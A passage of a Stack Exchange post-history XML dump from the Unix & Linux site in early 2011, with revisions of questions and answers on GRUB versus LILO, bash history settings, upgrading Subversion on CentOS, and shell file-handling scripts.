root 1.7K 2010-10-25 14:14 httpd-dav.conf&#xD;&#xA;    -rw-r--r-- 1 root 2.3K 2010-10-25 14:14 httpd-default.conf&#xD;&#xA;    -rw-r--r-- 1 root 1.1K 2010-10-25 14:14 httpd-info.conf&#xD;&#xA;    -rw-r--r-- 1 root 5.0K 2010-10-25 14:14 httpd-languages.conf&#xD;&#xA;    -rw-r--r-- 1 root  906 2010-10-25 14:14 httpd-manual.conf&#xD;&#xA;    -rw-r--r-- 1 root 3.8K 2010-10-25 14:14 httpd-mpm.conf&#xD;&#xA;    -rw-r--r-- 1 root 2.2K 2010-10-25 14:14 httpd-multilang-errordoc.conf&#xD;&#xA;    -rw-r--r-- 1 root  10K 2010-10-25 14:14 httpd-ssl.conf&#xD;&#xA;    -rw-r--r-- 1 root  817 2010-10-25 14:14 httpd-userdir.conf&#xD;&#xA;    -rw-r--r-- 1 root 1.8K 2010-10-28 15:55 httpd-vhosts.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But also note that this isn't a live server and I built this apache install specifically to test [Wt][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webtoolkit.eu/wt" />
  <row Id="14856" PostHistoryTypeId="2" PostId="6496" RevisionGUID="b1ebb476-9540-4a21-b816-aca3621a1b04" CreationDate="2011-01-26T18:38:22.117" UserId="3976" Text="Since there are several packages that can provide functionality to Apache's HTTPd, the base package installs an httpd.conf that provides most of the basic settings, and other packages, such as mod_ssl, nagios and php have configuration files that need to be included per-package.  The Red Hat packagers use the conf.d directory to drop the configuration in for those packages, otherwise they'd need to modify the httpd.conf for each package, which is something difficult to automate during package installation.  " />
  <row Id="14857" PostHistoryTypeId="2" PostId="6497" RevisionGUID="97821058-08c9-4c80-b983-ff7165674059" CreationDate="2011-01-26T18:44:20.320" UserId="732" Text="You should read the other side of the issue:&#xD;&#xA;&#xD;&#xA;[Extreme High Performance Computing or Why Microkernels suck][1]&#xD;&#xA;&#xD;&#xA;[The File System Belongs In The Kernel][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxsymposium.org/2007/view_abstract.php?content_key=214&#xD;&#xA;  [2]: http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.37.2864" />
  <row Id="14858" PostHistoryTypeId="17" PostId="6499" RevisionGUID="6fa52e1b-14d9-4c66-bf61-4f4c21e2a9d0" CreationDate="2011-01-26T19:07:36.023" UserId="-1" Comment="from http://serverfault.com/questions/227270/what-is-the-difference-between-lilo-and-grub/227278#227278" Text="" />
  <row Id="14859" PostHistoryTypeId="17" PostId="6500" RevisionGUID="582062a2-824c-4869-b8c9-c07203604fa3" CreationDate="2011-01-26T19:07:36.023" UserId="-1" Comment="from http://serverfault.com/questions/227270/what-is-the-difference-between-lilo-and-grub/227283#227283" Text="" />
  <row Id="14860" PostHistoryTypeId="2" PostId="6499" RevisionGUID="7d9a00da-481e-431f-90a4-e9780ba67ba9" CreationDate="2011-01-26T18:40:37.310" UserDisplayName="Olli" Text="You should use GRUB, or probably GRUB2 as it is much newer. Grub advantages over LILO include support for larger disks (you don't have to have your boot partition in the beginning of disk) and support for EFI boot. &#xD;&#xA;&#xD;&#xA;If you are using old computer with working LILO, there is no specific reason to upgrade to GRUB. &#xD;&#xA;&#xD;&#xA;Another reason: there is no updates for LILO, and practically no support. Or even a website." />
  <row Id="14861" PostHistoryTypeId="2" PostId="6500" RevisionGUID="580f5255-2730-41ce-af97-abf5082462dd" CreationDate="2011-01-26T18:47:34.683" UserId="366" Text="LILO has a simpler interface and is easier to wrap your head around. &#xD;&#xA;&#xD;&#xA;GRUB is more featured and handles odd configurations better.&#xD;&#xA;&#xD;&#xA;The LILO bootstrap process involves locating the kernel by in essence (it's more complicated than this) pointing to the first logical-sector of the Kernel file. The GRUB bootstrap process is more filesystem aware and can locate a kernel file in a filesystem without having to specify a logical-sector. &#xD;&#xA;&#xD;&#xA;There is a reason everyone is using GRUB these days, and that's because it's less fragile and handles edge-cases better." />
  <row Id="14862" PostHistoryTypeId="2" PostId="6498" RevisionGUID="1bd61259-e07d-48a1-a6d8-83996c34417e" CreationDate="2011-01-26T18:34:15.033" UserDisplayName="Jonathan Rioux" Text="I am running a web server under Debian and I currently have GRUB installed.&#xD;&#xA;&#xD;&#xA;Should I consider using LILO instead of GRUB? And what are the advantages of each?" />
  <row Id="14863" PostHistoryTypeId="1" PostId="6498" RevisionGUID="1bd61259-e07d-48a1-a6d8-83996c34417e" CreationDate="2011-01-26T18:34:15.033" UserDisplayName="Jonathan Rioux" Text="What is the difference between LILO and GRUB ?" />
  <row Id="14864" PostHistoryTypeId="3" PostId="6498" RevisionGUID="1bd61259-e07d-48a1-a6d8-83996c34417e" CreationDate="2011-01-26T18:34:15.033" UserDisplayName="Jonathan Rioux" Text="élinuxàédebianàégrubà" />
  <row Id="14865" PostHistoryTypeId="17" PostId="6498" RevisionGUID="79d9c4b9-8020-4d3d-8cd2-2429816cd32b" CreationDate="2011-01-26T19:07:36.023" UserId="-1" Comment="from http://serverfault.com/questions/227270/what-is-the-difference-between-lilo-and-grub" Text="" />
  <row Id="14866" PostHistoryTypeId="6" PostId="6467" RevisionGUID="a69b4c13-3729-4e8f-b702-795050f471ae" CreationDate="2011-01-26T19:11:49.823" UserId="885" Comment="edited tags" Text="élinuxàékernelàéfilesàéperformanceàéprogrammingà" />
  <row Id="14867" PostHistoryTypeId="2" PostId="6501" RevisionGUID="b20fc383-b22a-432f-8c44-fefd6bb0f769" CreationDate="2011-01-26T19:12:00.197" UserId="688" Text="After finding out what this `shopt -s histappend` [means][1], it seems a very sane setting, and I'm surprised that it isn't default. Of course I may be shortsighted, so why would anyone not use such a setting? Why would anyone want to wipe their history on each shell exit?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1288/better-bash-history/1292#1292" />
  <row Id="14868" PostHistoryTypeId="1" PostId="6501" RevisionGUID="b20fc383-b22a-432f-8c44-fefd6bb0f769" CreationDate="2011-01-26T19:12:00.197" UserId="688" Text="Why would anyone not set 'histappend' in bash?" />
  <row Id="14869" PostHistoryTypeId="3" PostId="6501" RevisionGUID="b20fc383-b22a-432f-8c44-fefd6bb0f769" CreationDate="2011-01-26T19:12:00.197" UserId="688" Text="ébashàécommandöhistoryà" />
  <row Id="14870" PostHistoryTypeId="5" PostId="6492" RevisionGUID="f2ed3c43-ab5d-4f1e-8cad-0210a360b509" CreationDate="2011-01-26T19:13:26.780" UserId="885" Comment="deleted 32 characters in body; edited tags" Text="I have a small VPS (256MB RAM, 12% cap CPU) with Postfix installed that I use to host my mail domains. I want to run a mailing list manager, but would like to avoid Mailman because of its big fingerprint. Plus, I sysadmin a couple of them and would like to try new things :-)&#xD;&#xA;&#xD;&#xA;Any recommendation?&#xD;&#xA;" />
  <row Id="14871" PostHistoryTypeId="6" PostId="6492" RevisionGUID="f2ed3c43-ab5d-4f1e-8cad-0210a360b509" CreationDate="2011-01-26T19:13:26.780" UserId="885" Comment="deleted 32 characters in body; edited tags" Text="ésoftwareörecàémailàémailingölistà" />
  <row Id="14872" PostHistoryTypeId="6" PostId="5950" RevisionGUID="6f2428db-e5ec-4a2b-b58d-a0e89d5833b7" CreationDate="2011-01-26T19:13:32.573" UserId="3069" Comment="edited tags" Text="élinuxàédistrosà" />
  <row Id="14873" PostHistoryTypeId="5" PostId="6454" RevisionGUID="68c9114d-36d1-46b5-87fc-5a957d8fb389" CreationDate="2011-01-26T19:19:26.927" UserId="885" Comment="mention [[; added 28 characters in body" Text="To test if a string is a prefix of another, in any Bourne-style shell:&#xD;&#xA;&#xD;&#xA;    case $PWD/ in&#xD;&#xA;      /home/*) echo &quot;home sweet home&quot;;;&#xD;&#xA;      *) echo &quot;away from home&quot;;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;The same principle works for a suffix or substring test. Note that in `case` constructs, unlike in file names, `*` matches any character, including a `/` or an initial `.`.&#xD;&#xA;&#xD;&#xA;In shells that implement the `[[ … ]]` syntax (i.e. bash, ksh and zsh), it can be used to match a string against a pattern. (Note that the `[` command can only test strings for equality.)&#xD;&#xA;&#xD;&#xA;    if [[ $PWD/ = /home/* ]]; then …&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If you're specifically testing whether the current directory is underneath `/home`, a simple substring test is not enough, because of symbolic links.&#xD;&#xA;&#xD;&#xA;If `/home` is a filesystem of its own, test whether the current directory (`.`) is on that filesystem.&#xD;&#xA;&#xD;&#xA;    if [ &quot;$(df -P . | awk 'NR==2 {print $6}')&quot; = &quot;/home&quot; ]; then&#xD;&#xA;      echo 'The current directory is on the /home filesystem'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;If you have the NetBSD, OpenBSD or GNU (i.e. Linux) `readlink`, you can use `readlink -f` to strip symbolic links from a path.&#xD;&#xA;&#xD;&#xA;    case $(readlink -f .)/ in $(readlink -f /home)/*) …&#xD;&#xA;&#xD;&#xA;Otherwise, you can use `pwd` to show the current directory. But you must take care not to use a shell built-in if your shell tracks `cd` commands and keeps the name you used to reach the directory rather than its “actual” location.&#xD;&#xA;&#xD;&#xA;    case $(pwd -P . 2&gt;/dev/null || command pwd)/ in&#xD;&#xA;      $(cd /home &amp;&amp; { pwd -P . 2&gt;/dev/null || command pwd; })/*) …&#xD;&#xA;" />
  <row Id="14874" PostHistoryTypeId="2" PostId="6502" RevisionGUID="8f610b9f-d5ed-4df7-9ef1-c6099636ec00" CreationDate="2011-01-26T19:19:57.993" UserId="305" Text="I guess main advantage (for me) of GRUB are&#xD;&#xA;&#xD;&#xA; - I don't have to remember to run 'lilo' after kernel update. GRUB have real support for filesystems so it can find kernel on disk. &#xD;&#xA; - Commandline. GRUB allows to enter commandline which tends to be handy if I mess with configuration. Sometimes it saves live.&#xD;&#xA;&#xD;&#xA;Main advantages of LILO:&#xD;&#xA;&#xD;&#xA; - Support any filesystem as it workarounds this concept&#xD;&#xA; - It is small&#xD;&#xA;&#xD;&#xA;I'd say that in 99% of cases you prefer GRUB." />
  <row Id="14876" PostHistoryTypeId="6" PostId="6479" RevisionGUID="dcdabffe-fd1c-4998-96e8-35f8309ab378" CreationDate="2011-01-26T19:23:24.240" UserId="885" Comment="edited tags" Text="éubuntuàécentosàéyumàéaptàémysqlà" />
  <row Id="14877" PostHistoryTypeId="5" PostId="6472" RevisionGUID="0c854955-a53a-4542-a5fb-df4957bffbd6" CreationDate="2011-01-26T19:26:15.873" UserId="885" Comment="added hyperlink" Text="Look into [`rsstail`](http://www.vanheusden.com/rsstail/), especially `-oil` options" />
  <row Id="14878" PostHistoryTypeId="5" PostId="6500" RevisionGUID="5be3ea69-bc0a-4eb7-bb8b-d680c471730a" CreationDate="2011-01-26T19:40:46.557" UserId="366" Comment="added 7 characters in body" Text="LILO has a simpler interface and is easier to wrap your head around. &#xD;&#xA;&#xD;&#xA;GRUB is more featured and handles odd configurations better.&#xD;&#xA;&#xD;&#xA;The LILO bootstrap process involves locating the kernel by in essence (it's more complicated than this) pointing to the first logical-sector of the Kernel file. The GRUB bootstrap process is more filesystem aware and can locate a kernel file in a filesystem without having to specify a logical-sector. &#xD;&#xA;&#xD;&#xA;There is a reason nearly everyone is using GRUB these days, and that's because it's less fragile and handles edge-cases better." />
  <row Id="14879" PostHistoryTypeId="5" PostId="4052" RevisionGUID="600507bf-3970-4f25-9771-576f1c41c35c" CreationDate="2011-01-26T19:42:23.260" UserId="305" Comment="added 47 characters in body" Text="If you use DE, it's better to use NetworkManager ([description of configuring NM on Gentoo][1]). &#xD;&#xA;&#xD;&#xA;Otherwise, you need to edit the net configuration file(`/etc/conf.d/net`):&#xD;&#xA;&#xD;&#xA;    config_wlan0=(&quot;dhcp&quot;)&#xD;&#xA;    modules=(&quot;iwconfig&quot;)&#xD;&#xA;    preferred_aps=(&quot;WI-FI_NAME&quot;)&#xD;&#xA;    config_WI-FI_NAME=(&quot;dhcp&quot;)&#xD;&#xA;&#xD;&#xA;and then run `/etc/init.d/net.wlan0 start` to start it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/NetworkManager" />
  <row Id="14880" PostHistoryTypeId="6" PostId="6498" RevisionGUID="05cc61ee-3239-47b9-9275-3ac8895693ea" CreationDate="2011-01-26T19:42:49.567" UserId="885" Comment="edited tags" Text="élinuxàédebianàégrubàéliloà" />
  <row Id="14881" PostHistoryTypeId="25" PostId="6498" RevisionGUID="5cfced77-7003-4780-b405-266d4b9e74c7" CreationDate="2011-01-26T19:55:54.343" Comment="http://twitter.com/#!/StackUnix/status/30353253602426880" />
  <row Id="14882" PostHistoryTypeId="2" PostId="6504" RevisionGUID="5cb55fd1-1cdb-4b10-a623-c5f6dc2e1b08" CreationDate="2011-01-26T19:57:53.243" UserId="885" Text="For historical compatibility, I guess. The `histappend` option didn't exist until bash 2.0.&#xD;&#xA;" />
  <row Id="14883" PostHistoryTypeId="2" PostId="6505" RevisionGUID="e014bba3-c204-47e7-bf74-f57de44754b3" CreationDate="2011-01-26T20:00:46.010" UserId="4223" Text="I have an error when I run `svn up`&#xD;&#xA;&#xD;&#xA;    svn this client is too old to work with working copy...please get a newer subversion client&#xD;&#xA;&#xD;&#xA;This is on centos. I need to update svn. How do I do this?&#xD;&#xA;&#xD;&#xA;&gt; [user@somewhere cms]$ sudo yum install&#xD;&#xA;&gt; subversion Loaded plugins:&#xD;&#xA;&gt; fastestmirror Loading mirror speeds&#xD;&#xA;&gt; from cached hostfile * addons:&#xD;&#xA;&gt; mirror.chpc.utah.edu * base:&#xD;&#xA;&gt; mirrors.usc.edu * extras:&#xD;&#xA;&gt; mirror.chpc.utah.edu * updates:&#xD;&#xA;&gt; centos.mirror.facebook.net Setting up&#xD;&#xA;&gt; Install Process Package&#xD;&#xA;&gt; subversion-1.4.2-4.el5_3.1.i386&#xD;&#xA;&gt; already installed and latest version&#xD;&#xA;&gt; Nothing to do&#xD;&#xA;&#xD;&#xA;`yum update` does the same thing&#xD;&#xA;Additionally, only one directory is supposedly affected however, deleting this from the repository doesn't fix the issue.&#xD;&#xA;" />
  <row Id="14884" PostHistoryTypeId="1" PostId="6505" RevisionGUID="e014bba3-c204-47e7-bf74-f57de44754b3" CreationDate="2011-01-26T20:00:46.010" UserId="4223" Text="Need to upgrade svn on centos" />
  <row Id="14885" PostHistoryTypeId="3" PostId="6505" RevisionGUID="e014bba3-c204-47e7-bf74-f57de44754b3" CreationDate="2011-01-26T20:00:46.010" UserId="4223" Text="écentosàésubversionà" />
  <row Id="14886" PostHistoryTypeId="5" PostId="6505" RevisionGUID="4a5c05c0-a190-4308-9d2d-ba6449e5e47f" CreationDate="2011-01-26T20:09:50.807" UserId="73" Comment="added 18 characters in body" Text="I have an error when I run `svn up`&#xD;&#xA;&#xD;&#xA;&gt; svn this client is too old to work with working copy...please get a newer subversion client&#xD;&#xA;&#xD;&#xA;This is on centos. I need to update svn. How do I do this?&#xD;&#xA;&#xD;&#xA;    [user@somewhere cms]$ sudo yum install&#xD;&#xA;    subversion Loaded plugins:&#xD;&#xA;    fastestmirror Loading mirror speeds&#xD;&#xA;    from cached hostfile * addons:&#xD;&#xA;    mirror.chpc.utah.edu * base:&#xD;&#xA;    mirrors.usc.edu * extras:&#xD;&#xA;    mirror.chpc.utah.edu * updates:&#xD;&#xA;    centos.mirror.facebook.net Setting up&#xD;&#xA;    Install Process Package&#xD;&#xA;    subversion-1.4.2-4.el5_3.1.i386&#xD;&#xA;    already installed and latest version&#xD;&#xA;    Nothing to do&#xD;&#xA;&#xD;&#xA;`yum update` does the same thing. Additionally, only one directory is supposedly affected, but deleting this from the repository doesn't fix the issue.&#xD;&#xA;" />
  <row Id="14887" PostHistoryTypeId="5" PostId="3258" RevisionGUID="b6e71f3b-8279-4ea0-925d-679413b13f34" CreationDate="2011-01-26T20:11:11.960" UserId="73" Comment="added 25 characters in body" Text="&lt;p&gt;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;a name=&quot;ontopic&quot;&gt;&lt;/a&gt;&#xA;If your question is about:&#xA;&#xA;* Using or administering a *nix desktop or server&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xA;* Shell scripting&#xA;* Applications packaged in *nix distributions *(note: being [cross-platform does not disqualify](http://meta.unix.stackexchange.com/q/97/29))*&#xA;* UNIX C API and System Interfaces *( [within reason](http://meta.unix.stackexchange.com/q/314/29) )*&#xA;&#xA;then you're in the right place. Note that **Ubuntu posts are a special case**. If your question applies to Ubuntu only, or you're looking for answers that are Ubuntu-specific, you should post it on the [Ask Ubuntu](http://askubuntu.com/) Stack Exchange site. If your question applies to other distros or you welcome more generic solutions, you're in the right place here.&#xA;&#xA;&lt;a name=&quot;crosspost&quot;&gt;&lt;/a&gt;&#xA;Cross-posting is [strongly discouraged](http://meta.stackoverflow.com/questions/64068/is-it-possible-to-post-questions-across-a-couple-of-the-sites-because-its-debata/64073#64073) -- if you post on one site and then change your mind it can always be migrated to another. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide." />
  <row Id="14889" PostHistoryTypeId="17" PostId="6507" RevisionGUID="7789de50-05a7-419d-86dc-fa7ecb34a59d" CreationDate="2011-01-26T20:35:30.880" UserId="-1" Comment="from http://stackoverflow.com/questions/4799214/need-to-upgrade-svn-on-centos/4799350#4799350" Text="" />
  <row Id="14890" PostHistoryTypeId="17" PostId="6508" RevisionGUID="075a8cfd-0d76-4495-91d5-d321ade059c0" CreationDate="2011-01-26T20:35:30.880" UserId="-1" Comment="from http://stackoverflow.com/questions/4799214/need-to-upgrade-svn-on-centos/4799356#4799356" Text="" />
  <row Id="14891" PostHistoryTypeId="2" PostId="6507" RevisionGUID="92c227f1-68cd-47c9-ad81-5ab4fed5bac9" CreationDate="2011-01-25T22:00:32.650" UserId="4186" Text="If you originally pulled down the subversion package through Yum you could simply try `yum update`.&#xD;&#xA;&#xD;&#xA;And if you didn't pull it down through Yum originally you can try to pull it down now with `yum install subversion`" />
  <row Id="14892" PostHistoryTypeId="2" PostId="6508" RevisionGUID="1635bcf0-3691-4758-afae-7c8eef82db6b" CreationDate="2011-01-25T22:01:07.980" UserDisplayName="troutinator" Text="This is probably best asked on the unix/linux site (http://unix.stackexchange.com/), but to answer your question, probably apt or something along those lines could update it. I'm not familiar with the package manager on CentOS." />
  <row Id="14893" PostHistoryTypeId="2" PostId="6506" RevisionGUID="2604c469-6ea9-41e0-995c-1c58b9573038" CreationDate="2011-01-25T21:45:46.187" UserId="4223" Text="I have an error when I run `svn up`&#xD;&#xA;&#xD;&#xA;&gt; svn this client is too old to work&#xD;&#xA;&gt; with working copy...please get a newer&#xD;&#xA;&gt; subversion client&#xD;&#xA;&#xD;&#xA;This is on centos. I need to update svn. How do I do this?" />
  <row Id="14894" PostHistoryTypeId="1" PostId="6506" RevisionGUID="2604c469-6ea9-41e0-995c-1c58b9573038" CreationDate="2011-01-25T21:45:46.187" UserId="4223" Text="Need to upgrade svn on centos" />
  <row Id="14895" PostHistoryTypeId="3" PostId="6506" RevisionGUID="2604c469-6ea9-41e0-995c-1c58b9573038" CreationDate="2011-01-25T21:45:46.187" UserId="4223" Text="ésvnàécentosà" />
  <row Id="14896" PostHistoryTypeId="17" PostId="6506" RevisionGUID="70704c5f-fbc6-4d89-9c1b-6001953c2876" CreationDate="2011-01-26T20:35:30.880" UserId="-1" Comment="from http://stackoverflow.com/questions/4799214/need-to-upgrade-svn-on-centos" Text="" />
  <row Id="14897" PostHistoryTypeId="2" PostId="6509" RevisionGUID="fe266bb3-71a2-45f7-8b25-184cec8f5e69" CreationDate="2011-01-26T20:44:28.850" UserId="1131" Text="Well, when `histappend` is not set, this does not mean that the history is wiped on each shell exit. Without `histappend` bash reads the histfile on startup into memory - during operation new entries are added - and on shell exit the last HISTSIZE lines are written to the history file without appending, i.e. replacing the previous content.&#xD;&#xA;&#xD;&#xA;For example, if the histfile contains 400 entries, during bash runtime 10 new entries are added - histsize is set to 500, then the new histfile contains 410 entries.&#xD;&#xA;&#xD;&#xA;This behavior is only problematic, if you use more bash instances in parallel and if you don't care about that in that case the history file only contains the contents of the last exiting shell.&#xD;&#xA;&#xD;&#xA;Independent of this: There are some people who want to wipe their history on shell exit because of privacy reasons.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14898" PostHistoryTypeId="2" PostId="6510" RevisionGUID="26cdebab-bc2f-4afb-a6ac-98d972c2df2d" CreationDate="2011-01-26T20:50:39.257" UserId="3976" Text="RHEL 5.6 has Subversion 1.6 in it (from 1.4 in 5.5), so as soon as CentOS has released the RHEL5.6 package it'll just automatically upgrade.  If you can't wait, then you can rebuild your own package from Red Hat's source package:&#xD;&#xA;http://ftp.redhat.com/pub/redhat/linux/enterprise/5Client/en/os/SRPMS/subversion-1.6.11-7.el5.src.rpm" />
  <row Id="14899" PostHistoryTypeId="5" PostId="6506" RevisionGUID="517875ec-ac7b-4296-b56a-91696cfb7871" CreationDate="2011-01-26T20:53:28.367" UserId="73" Comment="Merging from 6505" Text="I have an error when I run `svn up`&#xD;&#xA;&#xD;&#xA;&gt; svn this client is too old to work with working copy...please get a newer subversion client&#xD;&#xA;&#xD;&#xA;This is on centos. I need to update svn. How do I do this?&#xD;&#xA;&#xD;&#xA;    [user@somewhere cms]$ sudo yum install&#xD;&#xA;    subversion Loaded plugins:&#xD;&#xA;    fastestmirror Loading mirror speeds&#xD;&#xA;    from cached hostfile * addons:&#xD;&#xA;    mirror.chpc.utah.edu * base:&#xD;&#xA;    mirrors.usc.edu * extras:&#xD;&#xA;    mirror.chpc.utah.edu * updates:&#xD;&#xA;    centos.mirror.facebook.net Setting up&#xD;&#xA;    Install Process Package&#xD;&#xA;    subversion-1.4.2-4.el5_3.1.i386&#xD;&#xA;    already installed and latest version&#xD;&#xA;    Nothing to do&#xD;&#xA;&#xD;&#xA;`yum update` does the same thing. Additionally, only one directory is supposedly affected, but deleting this from the repository doesn't fix the issue.&#xD;&#xA;" />
  <row Id="14900" PostHistoryTypeId="6" PostId="6506" RevisionGUID="517875ec-ac7b-4296-b56a-91696cfb7871" CreationDate="2011-01-26T20:53:28.367" UserId="73" Comment="Merging from 6505" Text="écentosàésubversionà" />
  <row Id="14901" PostHistoryTypeId="10" PostId="6505" RevisionGUID="d90d55da-ec4c-4337-a8b8-bbeb451ca61f" CreationDate="2011-01-26T20:54:16.713" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14902" PostHistoryTypeId="5" PostId="6505" RevisionGUID="7e42a3b3-d530-4435-9888-026d40fbdb3f" CreationDate="2011-01-26T20:54:16.883" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Need to upgrade svn on centos](http://unix.stackexchange.com/questions/6506/need-to-upgrade-svn-on-centos)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have an error when I run `svn up`&#xD;&#xA;&#xD;&#xA;&gt; svn this client is too old to work with working copy...please get a newer subversion client&#xD;&#xA;&#xD;&#xA;This is on centos. I need to update svn. How do I do this?&#xD;&#xA;&#xD;&#xA;    [user@somewhere cms]$ sudo yum install&#xD;&#xA;    subversion Loaded plugins:&#xD;&#xA;    fastestmirror Loading mirror speeds&#xD;&#xA;    from cached hostfile * addons:&#xD;&#xA;    mirror.chpc.utah.edu * base:&#xD;&#xA;    mirrors.usc.edu * extras:&#xD;&#xA;    mirror.chpc.utah.edu * updates:&#xD;&#xA;    centos.mirror.facebook.net Setting up&#xD;&#xA;    Install Process Package&#xD;&#xA;    subversion-1.4.2-4.el5_3.1.i386&#xD;&#xA;    already installed and latest version&#xD;&#xA;    Nothing to do&#xD;&#xA;&#xD;&#xA;`yum update` does the same thing. Additionally, only one directory is supposedly affected, but deleting this from the repository doesn't fix the issue.&#xD;&#xA;" />
  <row Id="14903" PostHistoryTypeId="18" PostId="6505" RevisionGUID="96075944-16c6-4ca6-8aee-4d71c7f2b324" CreationDate="2011-01-26T20:54:33.513" UserId="73" Comment="to http://unix.stackexchange.com/questions/6506/need-to-upgrade-svn-on-centos" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14904" PostHistoryTypeId="18" PostId="6506" RevisionGUID="96075944-16c6-4ca6-8aee-4d71c7f2b324" CreationDate="2011-01-26T20:54:33.513" UserId="73" Comment="from http://unix.stackexchange.com/questions/6505/need-to-upgrade-svn-on-centos" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14905" PostHistoryTypeId="14" PostId="6505" RevisionGUID="fdaad98f-f273-4bae-92c5-d4cbc145493f" CreationDate="2011-01-26T20:54:34.183" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="14906" PostHistoryTypeId="5" PostId="6508" RevisionGUID="c3e612e2-584d-45f7-9a61-0c1700d8108b" CreationDate="2011-01-26T20:56:49.317" UserId="73" Comment="deleted 112 characters in body" Text="Probably `apt` or something along those lines could update it. I'm not familiar with the package manager on CentOS." />
  <row Id="14907" PostHistoryTypeId="2" PostId="6511" RevisionGUID="aad46865-69d1-406d-a96c-67cf0375a111" CreationDate="2011-01-26T20:58:24.107" UserId="885" Text="I'll assume that the file names are unique throughout the hierarchy. I'll also assume that no file name contains a newline, and that the directory trees only contain directories and regular files.&#xD;&#xA;&#xD;&#xA;1. First collect the file names on the source side.&#xD;&#xA;&#xD;&#xA;        (cd /A &amp;&amp; find . \! -type d) &gt;A.find&#xD;&#xA;&#xD;&#xA;2. Then move the files into place on the destination side. First, create a flattened tree of files on the destination side. Use `ln` instead of `mv` if you want to keep hard links around in the old hierarchy.&#xD;&#xA;&#xD;&#xA;        mkdir /B.staging /B.new&#xD;&#xA;        find /B.old -type f -exec sh -c 'mv -- &quot;$@&quot; &quot;$0&quot;' /B.staging {} +&#xD;&#xA;&#xD;&#xA;3. If some files may be missing in the destination, create a similarly flattened `/A.staging` and use rsync to copy the data from the source to the destination.&#xD;&#xA;&#xD;&#xA;        rsync -au /A.staging/ /B.staging/&#xD;&#xA;&#xD;&#xA;4. Now rename the files into place.&#xD;&#xA;&#xD;&#xA;        cd /B.new &amp;&amp;&#xD;&#xA;        &lt;A.find perl -l -ne '&#xD;&#xA;          my $dir = '.'; s!^\./+!!;&#xD;&#xA;          while (s!^([^/]+)/+!!) {  # Create directories as needed&#xD;&#xA;            $dir .= &quot;/$1&quot;;&#xD;&#xA;            -d $dir or mkdir $dir or die &quot;mkdir $dir: $!&quot;&#xD;&#xA;          }&#xD;&#xA;          rename &quot;/B.staging/$_&quot;, &quot;$dir/$_&quot; or die &quot;rename -&gt; $dir/$_: $!&quot;&#xD;&#xA;        '&#xD;&#xA;&#xD;&#xA; Equivalently:&#xD;&#xA;&#xD;&#xA;        cd /B.new &amp;&amp;&#xD;&#xA;        &lt;A.find python -c '&#xD;&#xA;        import os, sys&#xD;&#xA;        for path in sys.stdin.read().splitlines():&#xD;&#xA;            dir, base = path.rsplit(&quot;/&quot;, 2)&#xD;&#xA;            os.rename(os.path.join(&quot;/B.new&quot;, base), path)&#xD;&#xA;        '&#xD;&#xA;&#xD;&#xA;5. Finally, if you care about the metadata of the directories, call rsync with the files already in place.&#xD;&#xA;&#xD;&#xA;        rsync -au /A/ /B.new/&#xD;&#xA;&#xD;&#xA;*Note that I haven't tested the snippets in this post. Use at your own risk. Please report any error in a comment.*&#xD;&#xA;" />
  <row Id="14908" PostHistoryTypeId="5" PostId="6460" RevisionGUID="ff2858ec-9ce7-4830-babb-ebccf79894dd" CreationDate="2011-01-26T21:19:45.187" UserId="4185" Comment="added 1003 characters in body" Text="I have a bunch of directories and subdirectories that contain files with special characters, like this file:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ ls test�sktest.txt &#xD;&#xA;    test?sktest.txt&#xD;&#xA;&#xD;&#xA;Find reveals an escape sequence:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ find test�sktest.txt -ls &#xD;&#xA;    424512 4000 -rwxr--r-x   1 robbie   robbie    4091743 Jan 26 00:34 test\323sktest.txt&#xD;&#xA;&#xD;&#xA;The only reason I can even type their names on the console is because of tab completion. This also means I can rename them manually (and manually strip the special character).&#xD;&#xA;&#xD;&#xA;I've set LC_ALL to UTF-8, but I still can't display those characters (also not on a new shell):&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ echo $LC_ALL&#xD;&#xA;    en_US.UTF-8&#xD;&#xA;&#xD;&#xA;I'm connecting to the machine using ssh from my mac. It's an Ubuntu install:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ cat /etc/lsb-release &#xD;&#xA;    DISTRIB_ID=Ubuntu&#xD;&#xA;    DISTRIB_RELEASE=7.10&#xD;&#xA;    DISTRIB_CODENAME=gutsy&#xD;&#xA;    DISTRIB_DESCRIPTION=&quot;Ubuntu 7.10&quot;&#xD;&#xA;&#xD;&#xA;Shell is Bash, TERM is set to xterm-color.&#xD;&#xA;&#xD;&#xA;These files have been there for quite a while, and they have not been created using that install of Ubuntu. So I don't know what the system encoding settings used to be.&#xD;&#xA;&#xD;&#xA;I've tried things along the lines 